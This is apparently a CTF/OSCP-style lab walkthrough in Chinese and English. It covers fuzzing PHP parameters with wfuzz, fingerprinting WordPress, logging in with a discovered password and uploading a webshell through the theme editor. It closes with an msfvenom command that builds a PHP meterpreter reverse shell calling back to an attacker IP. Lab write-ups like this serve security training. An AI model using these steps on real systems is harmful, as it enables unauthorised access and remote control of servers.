Looks like you have got some secrets.
Ok I just want to do some help to you.
Do some more fuzz on every page of php which was finded by you. And if
you get any right parameter then follow the below steps. If you still stuck
Learn from here a basic tool with good usage for OSCP.

参数爆破
利用fuzz
模糊测试，利用fuzz找到这个页面接受的参数
比如： http://192.168.216.151/image.php?FUZZ=location.txt
fuzz作用:
找到参数
sql注入
密码暴力破解
- 知道用户不知道密码
- 用户名密码都不知道
过WAF
我们这里使用kali自带的工具 ： wfuzz
wfuzz使用

********************************************************
Usage: wfuzz [options] -z payload,params <url>
FUZZ, ..., FUZnZ wherever you put these keywords wfuzz will replace them with the values of the specified payload.
FUZZ{baseline_value} FUZZ will be replaced by baseline_value. It will be the first request performed and could be used as a base for filtering.
Options:
-h : This help
--help : Advanced help
--version : Wfuzz version details
-e <type> : List of available encoders/payloads/iterators/printers/scripts
-c : Output with colors
-v : Verbose information. #详细信息
--interact : (beta) If selected,all key presses are captured. This allows you to interact with the program. #如果选中，将捕获所有按键。这允许您与程序交互
-p addr : Use Proxy in format ip:port:type. Repeat option for using various proxies.
Where type could be SOCKS4,SOCKS5 or HTTP if omitted.
-t N : Specify the number of concurrent connections (10 default)
-s N : Specify time delay between requests (0 default)
-R depth : Recursive path discovery being depth the maximum recursion level (0 default)
-D depth : Maximum link depth level (4 default)
-L, --follow : Follow HTTP redirections
-u url : Specify a URL for the request.
-z payload : Specify a payload for each FUZZ keyword used in the form of type,parameters,encoder.
A list of encoders can be used, ie. md5-sha1. Encoders can be chained, ie. md5@sha1.
Encoders category can be used. ie. url
Use help as a payload to show payload plugin's details (you can filter using --slice)
-w wordlist : Specify a wordlist file (alias for -z file,wordlist).
-V alltype : All parameters bruteforcing (allvars and allpost). No need for FUZZ keyword.
-X method : Specify an HTTP method for the request, ie. HEAD or FUZZ
-b cookie : Specify a cookie for the requests
-d postdata : Use post data (ex: "id=FUZZ&catalogue=1")
-H header : Use header (ex:"Cookie:id=1312321&user=FUZZ")
--basic/ntlm/digest auth : in format "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ"
--hc/hl/hw/hh N[,N]+ : Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)
--sc/sl/sw/sh N[,N]+ : Show responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)
--ss/hs regex : Show/Hide responses with the specified regex within the content

应该不是用户 victor 的密码
但是我们在目录扫描的时候还有发现存在 WordPress ，是不是WordPress的密码呢
我们访问网址： http://192.168.216.151/wordpress/wp-admin
用户名： victor 密码：follow_the_ippsec 登录
登录成功
我们这里在不知道用户名的情况下我们我可以使用指纹识别，查看是否有收集 WordPress的用户信息
指纹识别
cmseek工具使用
使用指纹收集 kali 的 cmseek工具识别这个网站是否有收集的用户名

这里找到一个用户 victor 登录即可
登录上去之后，我们可以找到一个上传点并且上传一个shell木马
文件上传
上传一句话木马
- 找到上传点
- 传一个shell
- 可能会被杀毒软件杀掉
这种方式无法持续连接到靶机
- 内网
- 动态IP（ip变了）
我们可以使用反弹链接——让靶机主动链接到我的攻击机器
找到上传点
发现在主题编辑器中可以修改一些文件，大部分不可以修改，找到一个符合我们的上传shell的位置
利用msf
- 生成payload - PHP反弹链接
- 内置漏洞数据库 - 利用、提权

MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
Options:
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload <value>'s standard, advanced and evasion options
-f, --format <format> Output format (use --list formats to list)
-e, --encoder <encoder> The encoder to use (use --list encoders to list)
--service-name <value> The service name to use when generating a service binary
--sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key <value> A key to be used for --encrypt
--encrypt-iv <value> An initialization vector for --encrypt
-a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
--platform <platform> The platform for --payload (use --list platforms to list)
-o, --out <path> Save the payload to a file
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name <value> Specify a custom variable name to use for certain output formats
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help Show this message
使用msfvenom生成payload
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.216.128 lport=7777 -o shell.php
